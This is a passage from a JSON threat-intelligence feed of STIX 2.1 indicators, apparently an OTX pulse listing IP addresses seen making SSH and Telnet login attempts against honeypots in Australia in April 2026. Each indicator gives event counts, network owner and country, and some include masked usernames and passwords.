      "created": "2026-04-06T14:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 6939. Organisation(s): Hurricane Electric LLC.",
      "id": "indicator--0f396fcd-8bd0-4ed1-8e7a-0721e2835f89",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-06T14:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '65.49.1.53']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-06T14:15:05.000Z",
      "valid_until": "2026-05-08T14:15:03.000Z"
    },
    {
      "created": "2026-04-06T15:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: EG. ASN(s): 8452. Organisation(s): TE Data.",
      "id": "indicator--81c95735-dc62-4b09-ba67-224b82ce8d3e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-06T15:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '41.38.156.126']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-06T15:15:11.000Z",
      "valid_until": "2026-05-08T15:15:08.000Z"
    },
    {
      "created": "2026-04-06T15:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 398324. Organisation(s): Censys, Inc..",
      "id": "indicator--bd6f7488-b4fc-4d1f-8695-529ee667319b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-06T15:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '66.132.195.80']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-06T15:15:11.000Z",
      "valid_until": "2026-05-08T15:15:08.000Z"
    },
    {
      "created": "2026-04-06T16:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 14987. Organisation(s): Rethem Hosting LLC.",
      "id": "indicator--c17aa0dd-d712-429c-8568-e859e3c68f91",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-06T16:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '104.152.52.66']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-06T16:15:10.000Z",
      "valid_until": "2026-05-08T16:15:08.000Z"
    },
    {
      "created": "2026-04-06T16:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: KR. ASN(s): 17858. Organisation(s): LG POWERCOMM.",
      "id": "indicator--52ba966b-8e2b-43ac-95d4-4655364a95e4",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-06T16:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '122.36.187.5']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-06T16:15:10.000Z",
      "valid_until": "2026-05-08T16:15:08.000Z"
    },
    {
      "created": "2026-04-06T16:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 22. Source country: US. ASN(s): 14061. Organisation(s): DigitalOcean, LLC.",
      "id": "indicator--5066d588-289b-478a-bc54-84fe5b3bb9ab",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-06T16:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '159.89.228.192']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-06T16:15:10.000Z",
      "valid_until": "2026-05-08T16:15:08.000Z"
    },
    {
      "created": "2026-04-06T16:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: TW. ASN(s): 142002. Organisation(s): Scloud Pte Ltd.",
      "id": "indicator--77dcb224-346e-4144-a0f6-0e23c4c25775",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-06T16:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '165.154.226.74']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-06T16:15:10.000Z",
      "valid_until": "2026-05-08T16:15:08.000Z"
    },
    {
      "created": "2026-04-06T16:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 6939. Organisation(s): Hurricane Electric LLC.",
      "id": "indicator--2d571f8e-14d9-435f-a6d0-21be1b4c4777",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-06T16:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '64.62.156.132']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-06T16:15:10.000Z",
      "valid_until": "2026-05-08T16:15:08.000Z"
    },
    {
      "created": "2026-04-06T16:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: MK. ASN(s): 6821. Organisation(s): Makedonski Telekom AD-Skopje.",
      "id": "indicator--bc00c552-3177-47fa-a8c2-81ca13dca41d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-06T16:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '79.125.160.249']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-06T16:15:10.000Z",
      "valid_until": "2026-05-08T16:15:08.000Z"
    },
    {
      "created": "2026-04-06T17:15:06.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 12. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4837. Organisation(s): CHINA UNICOM China169 Backbone.",
      "id": "indicator--54bf76c6-3c50-452a-8b52-ec27ca470f05",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-06T17:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '115.60.203.208']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-06T17:15:06.000Z",
      "valid_until": "2026-05-08T17:15:03.000Z"
    },
    {
      "created": "2026-04-06T17:15:06.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 8. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4837. Organisation(s): CHINA UNICOM China169 Backbone.",
      "id": "indicator--da8b8a0a-41c3-4a45-814b-f1461f219027",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-06T17:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '125.44.219.110']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-06T17:15:06.000Z",
      "valid_until": "2026-05-08T17:15:03.000Z"
    },
    {
      "created": "2026-04-06T17:15:06.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--500816f1-bd04-4dba-9f4d-75c13c2b8d62",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-06T17:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '147.185.132.13']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-06T17:15:06.000Z",
      "valid_until": "2026-05-08T17:15:03.000Z"
    },
    {
      "created": "2026-04-06T17:15:06.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 262447. Organisation(s): IMG BRASIL TELECOMUNICACOES LTDA.",
      "id": "indicator--9ab70a9a-9c1b-4157-b9df-ef4b88a89e36",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-06T17:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '177.54.26.15']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-06T17:15:06.000Z",
      "valid_until": "2026-05-08T17:15:03.000Z"
    },
    {
      "created": "2026-04-06T17:15:06.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--52c0f6f9-b84b-4557-b066-1bdac18b0a51",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-06T17:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '198.235.24.246']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-06T17:15:06.000Z",
      "valid_until": "2026-05-08T17:15:03.000Z"
    },
    {
      "created": "2026-04-06T17:15:06.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 268467. Organisation(s): Voa Internet.",
      "id": "indicator--c7df4592-4cb8-47c4-b547-ea48d01526f5",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-06T17:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '45.161.164.216']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-06T17:15:06.000Z",
      "valid_until": "2026-05-08T17:15:03.000Z"
    },
    {
      "created": "2026-04-06T18:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: KR. ASN(s): 4766. Organisation(s): Korea Telecom.",
      "id": "indicator--062a25a2-e963-4b01-94c5-fd8c8a7c4110",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-06T18:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '121.171.222.70']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-06T18:15:10.000Z",
      "valid_until": "2026-05-08T18:15:08.000Z"
    },
    {
      "created": "2026-04-06T18:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 23. Source country: KR. ASN(s): 4766. Organisation(s): Korea Telecom.",
      "id": "indicator--b4a1f8d6-0792-412d-b783-67739f52321b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-06T18:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '211.195.203.167']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-06T18:15:10.000Z",
      "valid_until": "2026-05-08T18:15:08.000Z"
    },
    {
      "created": "2026-04-06T19:16:07.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 11. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 139879. Organisation(s): Galaxy Broadband.",
      "id": "indicator--756894b0-555a-4e37-b2e6-965fd337163f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-06T19:16:07.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '103.74.21.54']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-06T19:16:07.000Z",
      "valid_until": "2026-05-08T19:15:09.000Z"
    },
    {
      "created": "2026-04-06T19:16:07.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 7. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: TH. ASN(s): 17552. Organisation(s): True Online.",
      "id": "indicator--b7dae5b7-0c81-4421-ab83-e13499c53e16",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-06T19:16:07.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '124.122.138.92']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-06T19:16:07.000Z",
      "valid_until": "2026-05-08T19:15:09.000Z"
    },
    {
      "created": "2026-04-06T19:16:07.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 142. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 21859. Organisation(s): Zenlayer Inc. Usernames observed (masked): r**t, t**t, 3**********4, c**t, d***a. Passwords observed (masked): 1****6, 1*******Z, 3***********4, 3**********4, F************5.",
      "id": "indicator--dde837c9-6608-4ad9-91ca-d25ff51e46ab",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-06T19:16:07.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '128.1.163.95']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-06T19:16:07.000Z",
      "valid_until": "2026-05-08T19:15:09.000Z"
    },
    {
      "created": "2026-04-06T19:16:07.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 362. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 154177. Organisation(s): LIGHT NODE LIMITED. Usernames observed (masked): r**t, 3**********4, u****u, o****e, c******r. Passwords observed (masked): 3***********4, 3**********4, 1****6, !********T, 0****e.",
      "id": "indicator--d343cfc8-7d0d-4763-9ca7-c819f68177dd",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-06T19:16:07.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '130.94.58.115']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-06T19:16:07.000Z",
      "valid_until": "2026-05-08T19:15:09.000Z"
    },
    {
      "created": "2026-04-06T19:16:07.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 25. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 4811. Organisation(s): China Telecom Group. Usernames observed (masked): r**t, o**o, t**t. Passwords observed (masked): *, 1*******#, P*********3, Z*******$.",
      "id": "indicator--d5823b8e-0b26-4a7b-a877-d2de3e6802c1",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-06T19:16:07.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '14.103.115.80']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-06T19:16:07.000Z",
      "valid_until": "2026-05-08T19:15:09.000Z"
    },
    {
      "created": "2026-04-06T19:16:07.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 362. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: AE. ASN(s): 138915. Organisation(s): Kaopu Cloud HK Limited. Usernames observed (masked): r**t, 3**********4, u****u, o****e, c******r. Passwords observed (masked): 3***********4, 3**********4, 1****6, !********T, 0****e.",
      "id": "indicator--73f14b5f-32a6-42c1-83d5-ca5accbbe62a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-06T19:16:07.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '154.90.54.142']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-06T19:16:07.000Z",
      "valid_until": "2026-05-08T19:15:09.000Z"
    },
    {
      "created": "2026-04-06T19:16:07.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 292. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: ID. ASN(s): 136052. Organisation(s): PT Cloud Hosting Indonesia. Usernames observed (masked): r**t, 3**********4, a***n, e******r, m*****r. Passwords observed (masked): 3***********4, 3**********4, 0********5, *, 1**4.",
      "id": "indicator--18165bae-3037-4960-972d-4300a5f59429",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-06T19:16:07.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '157.10.160.103']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-06T19:16:07.000Z",
      "valid_until": "2026-05-08T19:15:09.000Z"
    },
    {
      "created": "2026-04-06T19:16:07.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 148. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: PE. ASN(s): 6147. Organisation(s): INTEGRATEL PERU S.A.A.. Usernames observed (masked): r**t, ***, 3**********4, c****e, d***a. Passwords observed (masked): 0**0, *, 1****6, 1*******#, 3***********4.",
      "id": "indicator--43db68ef-d6bb-4ac6-b169-3fff752f990b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-06T19:16:07.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '170.79.37.88']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-06T19:16:07.000Z",
      "valid_until": "2026-05-08T19:15:09.000Z"
    },
    {
      "created": "2026-04-06T19:16:07.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 45090. Organisation(s): Shenzhen Tencent Computer Systems Company Limited.",
      "id": "indicator--bbb59126-37cd-498d-bbaa-f07c7f99bb85",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-06T19:16:07.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '175.24.174.41']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-06T19:16:07.000Z",
      "valid_until": "2026-05-08T19:15:09.000Z"
    },
    {
      "created": "2026-04-06T19:16:07.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 118. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CO. ASN(s): 14080. Organisation(s): Telmex Colombia S.A.. Usernames observed (masked): r**t, t**t, d***a, ***, o**o. Passwords observed (masked): *, 1*******#, P*********3, R********6, R****6.",
      "id": "indicator--0d890319-5b46-4762-ba1e-a055919ce577",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-06T19:16:07.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '181.49.8.57']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-06T19:16:07.000Z",
      "valid_until": "2026-05-08T19:15:09.000Z"
    },
    {
      "created": "2026-04-06T19:16:07.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 143. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: ID. ASN(s): 17451. Organisation(s): BIZNET NETWORKS. Usernames observed (masked): r**t, ***, 3**********4, d****y, ***. Passwords observed (masked): 1****6, 3***********4, 3**********4, 4**1, P********2.",
      "id": "indicator--c64c5ffa-1f56-4df2-bf4d-bf97fabe618a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-06T19:16:07.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '182.253.156.173']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-06T19:16:07.000Z",
      "valid_until": "2026-05-08T19:15:09.000Z"
    },
    {
      "created": "2026-04-06T19:16:07.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 154. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: MO. ASN(s): 4609. Organisation(s): Companhia de Telecomunicacoes de Macau SARL. Usernames observed (masked): r**t, c******r, ***, f******t, l*******r. Passwords observed (masked): !********T, 1**4, 1****6, 1********t, 3***********4.",
      "id": "indicator--de845fa0-f48d-44bd-8858-cdd22a516ff6",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-06T19:16:07.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '182.93.7.194']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-06T19:16:07.000Z",
      "valid_until": "2026-05-08T19:15:09.000Z"
    },
    {
      "created": "2026-04-06T19:16:07.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: US. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--95e7ec3e-0c18-4bb1-8a8e-464af56ff899",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-06T19:16:07.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '205.210.31.141']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-06T19:16:07.000Z",
      "valid_until": "2026-05-08T19:15:09.000Z"
    },
    {
      "created": "2026-04-06T19:16:07.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: DE. ASN(s): 6805. Organisation(s): Telefonica Germany.",
      "id": "indicator--9fdb6916-6bd3-4597-b439-2cb76df52c8f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-06T19:16:07.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '92.224.134.152']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-06T19:16:07.000Z",
      "valid_until": "2026-05-08T19:15:09.000Z"
    },
    {
      "created": "2026-04-06T20:15:12.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: KR. ASN(s): 4766. Organisation(s): Korea Telecom.",
      "id": "indicator--7670bb80-f63e-4ea9-9aee-c78fefe444bd",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-06T20:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '121.139.245.144']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-06T20:15:12.000Z",
      "valid_until": "2026-05-08T20:15:09.000Z"
    },
    {
      "created": "2026-04-06T20:15:12.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 55990. Organisation(s): Huawei Cloud Service data center. Usernames observed (masked): a***n. Passwords observed (masked): a***n.",
      "id": "indicator--e8538e05-e680-4efa-9e6e-e937a821c586",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-06T20:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '123.60.211.248']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-06T20:15:12.000Z",
      "valid_until": "2026-05-08T20:15:09.000Z"
    },
    {
      "created": "2026-04-06T20:15:12.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 22. Source country: US. ASN(s): 14061. Organisation(s): DigitalOcean, LLC.",
      "id": "indicator--7d377912-d211-4ed5-991e-eb1270b01c8a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-06T20:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '142.93.7.213']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-06T20:15:12.000Z",
      "valid_until": "2026-05-08T20:15:09.000Z"
    },
    {
      "created": "2026-04-06T20:15:12.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 107. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: AT. ASN(s): 8560. Organisation(s): IONOS SE. Usernames observed (masked): d****y, 3**********4, a***e, r**t, s****r. Passwords observed (masked): 3***********4, 3**********4, 3*******., A******A, a***e.",
      "id": "indicator--9434774e-8f3b-4e63-b0a4-fb2ab6bf2637",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-06T20:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '185.230.219.29']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-06T20:15:12.000Z",
      "valid_until": "2026-05-08T20:15:09.000Z"
    },
    {
      "created": "2026-04-06T20:15:12.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie. Target ports: 22. Source country: GB. ASN(s): 211298. Organisation(s): Driftnet Ltd.",
